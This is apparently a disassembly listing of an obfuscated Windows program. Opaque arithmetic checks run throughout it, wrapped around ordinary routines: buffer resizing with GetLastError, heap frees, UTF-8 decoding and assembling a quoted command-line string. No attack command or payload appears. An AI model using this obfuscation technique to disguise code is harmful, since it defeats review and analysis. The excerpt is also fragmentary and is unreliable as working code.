nop word cs:[rax + rax]
mov eax, dword [0x1415a05e8]
mov ecx, dword [0x1415a05ec]
mov edx, ecx
and edx, eax
add eax, ecx
sub eax, edx
xor eax, 0x282c0721
or eax, 0xd60168c4
cmp eax, 0xe1ec1dad
ja 0x14017bb60
test bpl, bpl
mov dword [rsp + 0x148], ebp
je 0x14017bf5f
nop word cs:[rax + rax]
mov eax, dword [0x1415a069c]
add eax, dword [0x1415a0698]
and eax, 0x70123008
add eax, 0x4c9143bc
cmp eax, 0xe2c4cbaf
ja 0x14017bba0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 2
mov qword [rsp + 0xb0], 0
mov esi, 0x200
mov eax, 2
mov qword [rsp + 0x58], rax
xor eax, eax
mov qword [rsp + 0x60], rax
mov ebx, 0xadcf788f
xor r14d, r14d
xor r15d, r15d
jmp 0x14017bc10
jae 0x14017c385
nop word [rax + rax]
mov ecx, dword [0x1415a06a4]
mov eax, ecx
xor eax, eax
not eax
and eax, dword [0x1415a06a0]
xor eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe379901
mov edx, eax
and edx, 0xf1c866fe
imul edx, ecx
mov ecx, eax
and ecx, 0xe379901
or eax, 0xe379901
imul eax, ecx
add eax, edx
imul rax, rbx
shr rax, 0x3c
mov ecx, eax
and ecx, 0xfffffffc
or eax, 0x8fa03acc
add eax, ecx
cmp eax, 0x591c4f77
jb 0x14017bc10
mov r12d, 0x200
cmp rsi, 0x201
jae 0x14017bc90
lea rdi, [rsp + 0x210]
mov r13, rsi
jmp 0x14017bdd1
mov eax, dword [0x1415a06a8]
and eax, dword [0x1415a06ac]
mov ecx, eax
xor ecx, 0x549322c3
xor eax, 0x56cacc99
add eax, ecx
and ecx, 0xfda611a5
sub eax, ecx
or eax, 0x70b7dca5
cmp eax, 0xd0409128
ja 0x14017bc90
sub rsi, r15
sub r14, r15
nop word cs:[rax + rax]
mov eax, dword [0x1415a06b0]
sub eax, dword [0x1415a06b4]
mov ecx, eax
and ecx, 0x33fb1928
xor ecx, 0x581928
and eax, 0x581928
or eax, ecx
or eax, 0xcc04e6d7
xor eax, 0xcae05037
add eax, 0x55512c27
jb 0x14017bcd0
cmp rsi, r14
jbe 0x14017bda7
lea rcx, [rsp + 0xa0]
mov rdx, r15
mov r8, rsi
call fcn.14020cdf0
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x58], rax
nop dword [rax + rax]
mov eax, dword [0x1415a06b8]
mov ecx, dword [0x1415a06bc]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
mov ecx, eax
not ecx
or eax, 0xe46090c6
or ecx, 0x1b9f6f39
and ecx, eax
mov eax, ecx
not eax
xor ecx, 0xa59923e8
or eax, 0xa59923e8
and eax, ecx
mov ecx, eax
not ecx
or eax, 0xb3fab12a
or ecx, 0x4c054ed5
and ecx, eax
cmp ecx, 0x37e88213
jae 0x14017bd40
mov r14, qword [rsp + 0x60]
mov eax, 0xffffffff
cmp r14, rax
mov r15d, 0xffffffff
cmovb r15, r14
mov qword [rsp + 0xb0], r15
mov r12, r15
mov rdi, qword [rsp + 0x58]
mov r13, r15
xor ecx, ecx
call fcn.14020bc80
mov rcx, rdi
mov edx, r13d
call fcn.14020d140
mov ebp, eax
test eax, eax
jne 0x14017be30
nop dword [rax]
mov eax, dword [0x1415a06c0]
and eax, dword [0x1415a06c4]
xor eax, 0xc9f26af0
imul esi, eax, 0x6068e2f
add esi, 0x41f5096c
call sub.KERNEL32.dll_GetLastError
cmp esi, 0xc7ddf4f0
ja 0x14017bdf0
test eax, eax
jne 0x14017c449
nop word cs:[rax + rax]
mov eax, dword [0x1415a06dc]
mov ecx, eax
xor ecx, eax
not ecx
and ecx, dword [str._X_r]
xor ecx, eax
add ecx, 0xd648dfcb
mov eax, ecx
xor eax, 0x42f8e0ce
and ecx, 0x3d071f31
add ecx, ecx
sub ecx, eax
not ecx
or ecx, 0x9c929714
cmp ecx, 0x65ce47fa
jb 0x14017be30
mov esi, ebp
nop dword [rax]
mov eax, dword [0x1415a06e0]
mov ecx, dword [0x1415a06e4]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
add eax, 0x4593185
or eax, 0x9dab3965
mov ecx, eax
and ecx, 0x2578405d
add ecx, ecx
sub eax, ecx
cmp eax, 0x90062e21
je 0x14017be70
cmp r13, rsi
jne 0x14017bc04
call sub.KERNEL32.dll_GetLastError
nop word cs:[rax + rax]
mov ecx, dword [0x1415a06e8]
xor ecx, dword [0x1415a06ec]
and ecx, 0x531c0d27
add ecx, 0xf29ea795
not ecx
or ecx, 0xb754f281
cmp ecx, 0x65458500
jb 0x14017bed0
cmp eax, 0x7a
jne 0x14017d24d
nop word cs:[rax + rax]
mov eax, dword [0x1415a06f0]
sub eax, dword [0x1415a06f4]
mov ecx, eax
not ecx
or ecx, 0xca2c95a0
add eax, ecx
inc eax
imul rax, rax, 0x1e9d498b
shr rax, 0x3a
imul eax, eax, 0x47ffa62c
cmp eax, 0x65fe01de
jb 0x14017bf10
lea rsi, [r13*2]
cmp r13, 0x7fffffff
mov eax, 0xffffffff
cmova rsi, rax
jmp 0x14017bc10
mov rax, qword [rsp + 0x108]
mov r15, qword [rax + 8]
mov rdi, qword [rax + 0x28]
mov r14, qword [rax + 0x30]
movzx esi, byte [rax + 0xc9]
mov r12, qword [rax + 0x10]
add r12, r15
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 2
mov qword [rsp + 0xb0], 0
lea rbx, [rsp + 0xa0]
mov rcx, rbx
call fcn.140130ea0
mov rax, qword [rsp + 0xa8]
mov word [rax], 0x22
mov qword [rsp + 0xb0], 1
mov qword [rsp + 0x210], r15
mov qword [rsp + 0x218], r12
mov word [rsp + 0x220], 0
lea rdx, [rsp + 0x210]
mov rcx, rbx
call fcn.1401498f0
mov r15, qword [rsp + 0xb0]
cmp r15, qword [rsp + 0xa0]
jne 0x14017c05c
lea rbx, [rsp + 0xa0]
nop word cs:[rax + rax]
mov eax, dword [0x1415a0650]
xor edx, edx
div dword [0x1415a0654]
mov ebp, eax
and ebp, 0x15cb4dd4
add ebp, 0x6a65b9d
and ebp, 0x1e0e6265
mov rcx, rbx
call fcn.140130ea0
cmp ebp, 0x1a14e164
jbe 0x14017c05c
mov rcx, rbx
call fcn.14020b880
jmp 0x14017c020
mov ecx, dword [0x1415a0658]
sub ecx, dword [0x1415a065c]
mov rax, qword [rsp + 0xa8]
or ecx, 0x9b27a156
shr ecx, 1
imul rcx, rcx, 0x4a738005
shr rcx, 0x3b
not ecx
or ecx, 0x6d533a44
cmp ecx, 0x8e8ff29c
jae 0x14017c0a6
mov word [rax + r15*2], 0x22
lea rcx, [r15 + 1]
mov qword [rsp + 0xb0], rcx
lea rcx, [r15 + 1]
nop word [rax + rax]
mov edx, dword [0x1415a0660]
imul edx, dword [0x1415a0664]
add edx, 0xf7e79a90
mov r8d, edx
and r8d, 0xa01450ab
mov r9d, r8d
not r9d
mov r10d, edx
and r10d, 0x450a8
and r9d, 0xf7512d47
imul r9d, r10d
and edx, 0xa0100003
or r8d, 0xf7512d47
imul r8d, edx
add r8d, r9d
mov word [rax + r15*2], 0x22
mov qword [rsp + 0xb0], rcx
cmp r8d, 0x148e8941
jb 0x14017c0b0
lea rax, [r14 + r14*4]
lea r14, [rdi + rax*8]
lea r15, [rsp + 0xa0]
nop word cs:[rax + rax]
mov eax, dword [0x1415a0668]
mov ecx, dword [0x1415a066c]
not eax
not ecx
or ecx, eax
not ecx
mov eax, ecx
and eax, 0x2d2c3c91
mov edx, eax
not edx
mov r8d, ecx
and r8d, 0x252c2c10
and edx, 0xc891d0c3
imul edx, r8d
and ecx, 0x8001081
or eax, 0xc891d0c3
imul eax, ecx
add eax, edx
or eax, 0x46be92d1
cmp eax, 0x6fba22a2
jb 0x14017c130
cmp rdi, r14
je 0x14017c300
lea r12, [rdi + 0x28]
mov rbx, qword [rsp + 0xb0]
nop word cs:[rax + rax]
mov eax, dword [0x1415a0670]
sub eax, dword [0x1415a0674]
imul rcx, rax, 0x2f766f19
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
or eax, 0xf66dbcd2
xor eax, 0xa55bdbd8
add eax, 0x489331a0
cmp eax, 0x977e60b1
jb 0x14017c1a0
cmp rbx, qword [rsp + 0xa0]
jne 0x14017c218
mov rcx, r15
call fcn.14020b880
nop dword [rax + rax]
mov eax, dword [0x1415a0678]
and eax, dword [0x1415a067c]
add eax, 0x6b2cb73e
mov ecx, eax
and ecx, 0x33a903d8
xor eax, 0x33a903d8
lea eax, [rax + rcx*2]
cmp eax, 0x7269b5d5
je 0x14017c1f0
mov rax, qword [rsp + 0xa8]
mov word [rax + rbx*2], 0x20
inc rbx
mov qword [rsp + 0xb0], rbx
mov rcx, r15
mov rdx, rdi
mov r8d, esi
call fcn.140191890
mov rbx, rax
nop word cs:[rax + rax]
mov eax, dword [0x1415a0680]
add eax, dword [0x1415a0684]
mov ecx, eax
and ecx, 0x23346fc6
and eax, 0x22102502
xor ecx, 0xb6d0a51b
lea eax, [rcx + rax*2]
and eax, 0xeff5fffe
xor eax, 0xe6c22a8
cmp eax, 0xd4af6c19
je 0x14017c250
mov rdi, r12
test rbx, rbx
je 0x14017c130
cmp qword [rsp + 0xa0], 0
je 0x14017c2c0
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x1415acb98]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x1415a0688]
mov ecx, dword [0x1415a068c]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
not eax
or eax, 0x538b1837
xor eax, 0x3da80d98
cmp eax, 0xfc9aa758
jae 0x14017c2c0
jmp 0x14017c35e
mov eax, dword [0x1415a0690]
sub eax, dword [0x1415a0694]
imul rax, rax, 0x57efc3f3
shr rax, 0x3d
lea ecx, [rax - 0x66cee425]
mov edx, ecx
and edx, 0x1100097
xor ecx, 0xd8e37b68
add eax, ecx
add eax, 0x99311bdb
sub eax, edx
cmp eax, 0xf231a634
ja 0x14017c300
mov rax, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0xa8]
movabs r12, 0x8000000000000000
cmp rax, r12
jne 0x14017c612
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x90]
mov qword [rax], rbx
mov qword [rax + 0x10], 2
xor edi, edi
mov rax, qword [rsp + 0x118]
jmp 0x14017dbed
cmp r12, rsi
jb 0x14017cefc
test ebp, ebp
je 0x14017c54e
lea r15, [rsi + rsi]
nop word [rax + rax]
mov eax, dword [0x1415a0708]
or eax, dword [0x1415a070c]
add eax, 0xafe5702d
mov ecx, eax
not ecx
and ecx, 0xc41dcea5
mov edx, eax
and edx, 0x3be2315a
imul edx, ecx
mov ecx, eax
and ecx, 0xc41dcea5
or eax, 0xc41dcea5
imul eax, ecx
add eax, edx
or eax, 0x2d3fed24
cmp eax, 0xeb99814f
ja 0x14017c3a0
movzx eax, byte [0x1415acbd0]
xor ecx, ecx
mov rdx, r15
call fcn.1401ac910
mov rcx, rax
test rax, rax
jne 0x14017c556
ud2
call fcn.14020b260
mov esi, eax
shl rsi, 0x20
cmp qword [rsp + 0x60], 0
je 0x14017c4fe
mov eax, dword [0x1415a06c8]
mov ecx, dword [0x1415a06cc]
mov edx, ecx
not edx
or edx, eax
not eax
or eax, ecx
not edx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x4d1f043a
and ecx, 0xb2e0fbc5
imul ecx, edx
mov edx, eax
and edx, 0xb2e0fbc5
or eax, 0xb2e0fbc5
imul eax, edx
add eax, ecx
and eax, 0xda1a5c9c
add eax, 0x5dc0d3c
mov rcx, qword [0x1415acb98]
cmp eax, 0x600e0b3e
ja 0x14017c460
xor edx, edx
mov r8, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
mov eax, dword [0x1415a06d0]
or eax, dword [0x1415a06d4]
mov ecx, eax
and ecx, 0x3072cf0c
or eax, 0x3072cf0c
add eax, ecx
not eax
or eax, 0xd14aac05
xor eax, 0x27d95974
cmp eax, 0x747b7d52
jbe 0x14017c4d0
or rsi, 2
nop word cs:[rax + rax]
mov eax, dword [str.i_t_ex]
mov ecx, dword [0x1415a07cc]
not eax
not ecx
and ecx, eax
not ecx
add ecx, 0x7d420f88
or ecx, 0x71a55c2a
mov eax, ecx
and eax, 0xa9e9ac8
add eax, eax
neg eax
add eax, ecx
add eax, 0x8a9e9ac8
cmp eax, 0x12dc5fb4
jb 0x14017c510
jmp 0x14017db1b
mov ecx, 2
xor r15d, r15d
mov eax, dword [0x1415a0718]
mov edx, dword [0x1415a071c]
not edx
add eax, edx
add eax, 0xd0b18f10
mov r8d, eax
not r8d
mov edx, eax
and edx, 0x851e6f75
and r8d, 0x7ae1908a
imul r8d, edx
mov edx, eax
and edx, 0x7ae1908a
or eax, 0x7ae1908a
imul eax, edx
add eax, r8d
or eax, 0x1ee8f05f
cmp eax, 0x492777d7
jbe 0x14017c5b4
mov rdx, rdi
mov r8, r15
mov rbx, rcx
call fcn.14021bb50
mov rcx, rbx
mov rbx, rcx
mov rdx, rdi
mov r8, r15
call fcn.14021bb50
cmp qword [rsp + 0x60], 0
je 0x14017d47f
mov eax, dword [0x1415a0720]
mov ecx, dword [0x1415a0724]
not eax
not ecx
or ecx, eax
not ecx
add ecx, 0x779404b5
imul rax, rcx, 0x29033f1
shr rax, 0x20
sub ecx, eax
shr ecx, 1
add ecx, eax
shr ecx, 0x1f
imul eax, ecx, 0x2dedebe5
cmp eax, 0x4654009d
ja 0x14017d3b9
jmp 0x14017d37b
mov rdi, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x90]
mov r14, qword [rsp + 0x68]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c0], rdi
cmp rdi, rax
jne 0x14017c687
lea rcx, [rsp + 0x1b0]
call fcn.140130ea0
mov rbx, qword [rsp + 0x1b8]
mov eax, dword [0x1415a0bd0]
imul eax, dword [0x1415a0bd4]
and eax, 0x5da3f421
imul rax, rax, 0x1165bc71
shr rax, 0x3a
or eax, 0x5822012a
cmp eax, 0x856269c
jb 0x14017c65e
mov word [rbx + rdi*2], 0
movabs rax, 0x36d2e2db05d53a9f
sub rdi, rax
add rax, rdi
inc rax
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x108]
mov ecx, dword [rax + 0xc4]
cmp byte [rax + 0xc8], 0
mov eax, 0x400
mov r13d, 0x608
cmove r13d, eax
cmp byte [rsp + 0x76], 0
mov qword [rsp + 0x60], r14
je 0x14017c975
mov eax, 2
mov qword [rsp + 0x98], rax
xor r8d, r8d
xor eax, eax
mov qword [rsp + 0x80], rax
mov eax, r13d
not eax
or r13d, ecx
not ecx
and ecx, eax
not r13d
or r13d, ecx
not r13d
mov eax, dword [0x1415a0e80]
mov ecx, dword [0x1415a0e84]
mov edx, ecx
not edx
and edx, eax
xor ecx, eax
add ecx, eax
sub ecx, edx
mov eax, ecx
xor eax, 0xcda685ad
add eax, ecx
and ecx, 0x32597a52
sub eax, ecx
add eax, 0xebcbeb20
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xbe9ba190
and ecx, 0x41645e6f
imul ecx, edx
mov edx, eax
and edx, 0x41645e6f
or eax, 0x41645e6f
imul eax, edx
add eax, ecx
cmp eax, 0x46c9d081
je 0x14017c70b
mov qword [rsp + 0x88], r8
mov rax, qword [rsp + 0x108]
cmp qword [rax + 0x38], r12
jne 0x14017ca8a
xor r14d, r14d
mov eax, dword [0x1415a0e88]
mov ecx, dword [0x1415a0e8c]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
imul rcx, rax, 0x4d9458d9
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1c
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfffffffa
and ecx, 0x61370745
imul ecx, edx
mov edx, eax
and edx, 5
or eax, 0x61370745
imul eax, edx
add eax, ecx
cmp eax, 0xa5c7cc3c
je 0x14017c784
mov ebp, 2
xor r12d, r12d
xorps xmm0, xmm0
movaps xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], 0
mov cl, 1
xor eax, eax
lock cmpxchg byte [0x1415acba8], cl
je 0x14017c861
lea rcx, [0x1415acba8]
call fcn.14020ca20
mov eax, dword [0x1415a0f28]
mov ecx, dword [0x1415a0f2c]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
or eax, 0x2780a190
add eax, 0xb370cae8
cmp eax, 0x71f5f9fd
ja 0x14017c824
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x170], 0
mov rdi, qword [rsp + 0x108]
lea rcx, [rdi + 0x58]
cmp dword [rdi + 0x58], 6
mov r15d, dword [rdi + 0x68]
mov rax, qword [rsp + 0x118]
cmove rcx, rax
lea rsi, [rdi + 0x78]
cmp dword [rdi + 0x78], 6
cmove rsi, rax
lea r8, [rsp + 0x150]
mov edx, 0xfffffff6
call fcn.140194480
cmp rax, 1
jne 0x14017d045
mov eax, dword [0x1415a0f40]
sub eax, dword [0x1415a0f44]
mov ecx, 0xca551f97
imul rcx, rax
shr rcx, 0x3f
imul eax, ecx, 0xcf9b4981
add eax, 0x179628d3
cmp eax, 0xfe81e059
mov rcx, qword [rsp + 0x78]
jbe 0x14017c900
mov qword [rcx], rdx
mov eax, dword [0x1415a0f48]
imul eax, dword [0x1415a0f4c]
mov qword [rcx], rdx
mov ecx, eax
not ecx
or ecx, 0x58442080
and ecx, 0xfe577494
mov edx, eax
and edx, 0x1a08828
or edx, ecx
mov rcx, qword [rsp + 0x78]
xor edx, 0xa07ae7f8
and eax, 0x621902c
or eax, edx
cmp eax, 0x3611185b
jne 0x14017c94b
mov qword [rcx + 0x10], 2
mov qword [rcx + 0x10], 2
mov eax, dword [0x1415a0f50]
mov ecx, dword [0x1415a0f54]
mov edx, eax
xor edx, ecx
not edx
or eax, ecx
and eax, edx
cmp eax, 0x2ed9f19d
je 0x14017c953
jmp 0x1401866f7
mov dword [rsp + 0x20c], ecx
mov eax, dword [0x1415a0bd8]
imul eax, dword [0x1415a0bdc]
imul eax, eax, 0x66d57270
lea ecx, [rax - 0x4489e26f]
not ecx
or ecx, 0x9e8531fd
add eax, ecx
add eax, 0xbb761d92
cmp eax, 0x2f159296
mov rsi, qword [rsp + 0x200]
mov rdi, qword [rsp + 0x1a8]
jae 0x14017c9c7
mov qword [rsp + 0x120], 0
mov eax, dword [0x1415a0be0]
sub eax, dword [0x1415a0be4]
mov ecx, eax
xor ecx, 0x3f27c00a
and eax, 0x40d83ff5
add eax, eax
sub eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xbf1197a5
and ecx, 0x40ee685a
imul ecx, edx
mov edx, eax
and edx, 0x40ee685a
or eax, 0x40ee685a
imul eax, edx
add eax, ecx
imul eax, eax, 0x1aad7991
mov qword [rsp + 0x120], 0
cmp eax, 0xb0d927e
jb 0x14017c9c7
mov qword [rsp + 0x128], 2
mov eax, dword [0x1415a0be8]
sub eax, dword [0x1415a0bec]
xor eax, 0x9698608e
add eax, 0xcd028c90
xor eax, 0x82c783e9
mov qword [rsp + 0x130], 0
cmp eax, 0xb3983124
jae 0x14017ca6c
mov qword [rsp + 0x130], 0
jmp 0x14017ca30
test rsi, rsi
mov dword [rsp + 0x19c], r13d
je 0x14017cf57
mov r8d, 2
xor eax, eax
jmp 0x14017e8b5
mov r8, qword [rax + 0x40]
mov rcx, qword [rax + 0x48]
add rcx, r8
xor eax, eax
test al, al
jne 0x14017ca97
xor ebx, ebx
mov r9d, 0xa3cddd47
mov rsi, r8
jmp 0x14017cac0
xor ebx, ebx
test r10w, r10w
je 0x14017cfd1
nop word cs:[rax + rax]
mov eax, dword [0x1415a0e90]
or eax, dword [0x1415a0e94]
mov edx, eax
not edx
mov r10d, eax
or r10d, 0x53042551
mov r11d, r10d
and r11d, 0x756fed25
and edx, 0x8890128a
imul edx, r11d
and r10d, 0x8a9012da
or eax, 0xdb9437db
imul eax, r10d
add eax, edx
mov edx, eax
xor edx, 0x15f59138
and edx, eax
cmp edx, 0xfcbe0ed6
ja 0x14017cac0
mov r10w, 1
test bx, bx
jne 0x14017caa8
cmp rsi, rcx
je 0x14017ce76
movzx r11d, byte [rsi]
test r11b, r11b
js 0x14017cb39
inc rsi
mov r14, rsi
jmp 0x14017ce30
mov eax, dword [0x1415a0e98]
xor edx, edx
div dword [0x1415a0e9c]
mov eax, dword [0x1415a0ea0]
add eax, dword [0x1415a0ea4]
mov edx, eax
not edx
and edx, 0x60882052
and eax, 0x9f77dfad
sub eax, edx
mov edx, 0xaf7c237a
sub edx, eax
or edx, 0x9b09c9f9
add eax, edx
add eax, 0x5083dc86
cmp eax, 0xf4c359f6
ja 0x14017cb47
mov eax, r11d
and al, 0x1f
movzx ebx, al
lea r14, [rsi + 2]
movzx eax, byte [rsi + 1]
mov edx, ebx
shl edx, 6
and eax, 0x3f
mov edi, dword [0x1415a0ea8]
xor edi, dword [0x1415a0eac]
mov ebp, edi
xor ebp, 0xbe253286
and edi, 0xa124038e
or edi, ebp
mov ebp, edi
and ebp, 0x6074ce55
mov r15d, ebp
not r15d
mov r12d, edi
and r12d, 0x20640404
and r15d, 0xc613fb53
imul r15d, r12d
and edi, 0x4010ca51
or ebp, 0xc613fb53
imul ebp, edi
add ebp, r15d
cmp ebp, 0x5648ff7c
jb 0x14017cb97
cmp r11b, 0xdf
jbe 0x14017cd24
lea rdi, [rsi + 3]
movabs r12, 0x8000000000000000
mov edx, dword [0x1415a0eb0]
sub edx, dword [0x1415a0eb4]
imul rdx, rdx, 0x4a9a4119
shr rdx, 0x3c
add edx, 0x6ab265dd
mov ebp, edx
not ebp
mov r15d, edx
and r15d, 0x4012248f
and ebp, 0x11450230
imul ebp, r15d
mov r15d, edx
and r15d, 0x2aa04170
or edx, 0x3be54370
imul edx, r15d
add edx, ebp
cmp edx, 0x364c7fd0
jb 0x14017cc08
or edx, eax
mov r11d, edx
movabs r12, 0x8000000000000000
jmp 0x14017ce30
mov eax, dword [0x1415a0ed0]
xor ebx, ebx
xor edx, edx
div dword [0x1415a0ed4]
mov edx, eax
not edx
and edx, 0x1725c7ae
and eax, 0xe8da3851
sub eax, edx
imul eax, eax, 0x9ec74162
add eax, 0x23a62afc
cmp eax, 0xb5236c14
jae 0x14017ce30
mov rsi, r14
mov r10d, r11d
jmp 0x14017caaa
mov qword [rsp + 0x210], r8
mov eax, dword [0x1415a0ee8]
mov edx, dword [0x1415a0eec]
not eax
not edx
and edx, eax
not edx
mov eax, edx
and eax, 0x678b513e
mov r9d, eax
not r9d
mov r10d, edx
and r10d, 0x65000132
and r9d, 0x9aff7a0d
imul r9d, r10d
and edx, 0x28b500c
or eax, 0x9aff7a0d
imul eax, edx
add eax, r9d
add eax, 0x337bae50
mov qword [rsp + 0x210], r8
cmp eax, 0xbe9aa14
jb 0x14017ce6e
mov eax, dword [0x1415a0ef0]
or eax, dword [0x1415a0ef4]
and eax, 0xf6b72733
add eax, 0x33b9dda2
xor eax, 0x455cb6b4
cmp eax, 0x93203374
ja 0x140180607
jmp 0x1401805d3
ud2
lea rcx, [rsp + 0x120]
call fcn.14020b880
mov r8, qword [rsp + 0x128]
mov word [r8], 0
mov eax, dword [0x1415a0bf0]
mov ecx, eax
not ecx
or ecx, dword [0x1415a0bf4]
add eax, ecx
add eax, 0xb6a12223
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x7b3ca285
and ecx, 0x84c35d7a
imul ecx, edx
mov edx, eax
and edx, 0x84c35d7a
or eax, 0x84c35d7a
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x19866938
add ecx, ecx
sub eax, ecx
add eax, 0x19866939
cmp eax, 0x7a4a7947
ja 0x140185da5
jmp 0x140185d5f
lea r14, [0x141578b58]
mov eax, dword [0x1415a0f00]
imul eax, dword [0x1415a0f04]
mov ecx, eax
not ecx
or ecx, 0x6c56011d
or eax, 0x93a9fee2
and eax, ecx
imul eax, eax, 0xc43b0a0f
cmp eax, 0x15dce431
je 0x14017cfd8
mov r8, qword [rsp + 0x58]
mov eax, dword [0x1415a0f30]
imul eax, dword [0x1415a0f34]
add eax, 0xfc6f2d90
mov ecx, eax
and ecx, 0x2b0b6081
add ecx, ecx
sub eax, ecx
add eax, 0x2b0b6081
or eax, 0x80769aae
cmp eax, 0xbd2879de
mov rdx, qword [rsp + 0x78]
jb 0x140180737
jmp 0x140180704
mov qword [rsp + 0x190], rdx
mov qword [rsp + 0x140], r12
mov qword [rsp + 0x110], rbp
mov dword [rsp + 0x19c], r13d
lea rbx, [rsp + 0x160]
lea r12, [rdi + 0x68]
mov eax, dword [0x1415a0f58]
and eax, dword [0x1415a0f5c]
xor eax, 0x68499f4b
imul rax, rax, 0x66137039
shr rax, 0x3d
or eax, 0x519dda2a
cmp eax, 0xbe588f61
ja 0x14017d071
mov eax, dword [0x1415a0f60]
xor eax, dword [0x1415a0f64]
mov ecx, eax
not ecx
and ecx, 0xef5160c5
mov edx, eax
and edx, 0x10ae9f3a
imul edx, ecx
mov ecx, eax
and ecx, 0xef5160c5
or eax, 0xef5160c5
imul eax, ecx
add eax, edx
mov ecx, eax
not ecx
or ecx, 0x4ea1d8f8
add eax, ecx
inc eax
mov ecx, eax
not ecx
and ecx, 0x7119cfff
mov edx, eax
and edx, 0x8ee63000
imul edx, ecx
mov ecx, eax
and ecx, 0x7119cfff
or eax, 0x7119cfff
imul eax, ecx
add eax, edx
cmp eax, 0xa5f544af
mov r13, qword [rsp + 0x118]
ja 0x1401807a7
jmp 0x140180744
je 0x14017b790
mov eax, dword [0x1415a0618]
xor edx, edx
div dword [0x1415a061c]
mov edx, eax
xor edx, 0x3044de35
add edx, eax
and eax, 0xcfbb21ca
sub edx, eax
imul rax, rdx, 0x80432ab
shr rax, 0x3b
imul eax, eax, 0x1bd2e9c1
cmp eax, 0x76c694f3
ja 0x14017d11f
mov eax, dword [0x1415a0620]
imul eax, dword [0x1415a0624]
mov edx, eax
xor edx, 0x45904410
xor eax, 0x986b99af
mov r9d, eax
and r9d, 0xa26d2b43
and edx, 0x5d92d4bc
imul edx, r9d
mov r9d, eax
and r9d, 0x5d92d4bc
or eax, 0x5d92d4bc
imul eax, r9d
add eax, edx
or eax, 0x34c875df
cmp eax, 0xfa6cdb19
ja 0x14017d156
cmp r8w, 0x43
jne 0x14017d23f
mov eax, dword [str.1_hTHV]
xor edx, edx
div dword [0x1415a063c]
mov edx, eax
not edx
or edx, 0x80400a1
or eax, 0xc2424104
and eax, edx
or eax, 0x35b9be5a
mov edx, eax
xor edx, 0x6fb50cd8
and eax, 0x104af327
add eax, eax
sub eax, edx
cmp eax, 0xf1d306a6
ja 0x14017d1b0
movzx eax, word [rdi + rcx*2 + 4]
mov edx, dword [0x1415a0640]
and edx, dword [0x1415a0644]
add edx, 0x829eb417
xor edx, 0x8f9105
cmp edx, 0x4ecb4cd8
jb 0x14017d1f1
cmp ax, 0x6d
jge 0x14017d224
cmp ax, 0x4d
je 0x14017d226
xor ebp, ebp
jmp 0x14017b790
jne 0x14017d246
movzx eax, word [rdi + rcx*2 + 6]
add eax, 0xffffffbc
mov ecx, eax
xor ecx, 0x20
test cx, ax
sete bpl
jmp 0x14017b790
xor ebp, ebp
jmp 0x14017b790
xor ebp, ebp
jmp 0x14017b790
mov eax, dword [0x1415a06f8]
and eax, dword [0x1415a06fc]
cmp eax, 0x38613934
jne 0x14017d270
ud2
mov eax, dword [0x1415a0700]
mov ecx, dword [0x1415a0704]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
mov ecx, eax
and ecx, 0x51faa240
add ecx, ecx
sub eax, ecx
add eax, 0x7dca3b3e
mov ecx, eax
and ecx, 0xf4adf0b
add ecx, ecx
sub eax, ecx
add eax, 0x8f4adf0b
ud2
ud2
mov eax, dword [0x14159fcf8]
mov ecx, dword [0x14159fcfc]
mov edx, eax
xor edx, ecx
not edx
or eax, ecx
and eax, edx
mov ecx, eax
not ecx
or ecx, 0x14fbd60
add eax, ecx
inc eax
xor eax, 0xa022010
or eax, 0x352cdca7
ud2
ud2
mov eax, dword [0x14159fd70]
xor edx, edx
div dword [0x14159fd74]
add eax, 0xfc2cb304
imul rax, rax, 0x1ff117f
shr rax, 0x36
mov ecx, eax
and ecx, 0xfffffffc
xor eax, 0xd2b4c13c
lea eax, [rax + rcx*2]
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x1b0], xmm0
mov rcx, qword [rsp + 0x160]
mov qword [rsp + 0x1c0], rcx
cmp eax, 0x6687718f
jae 0x14017a7a1
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x1c0], rax
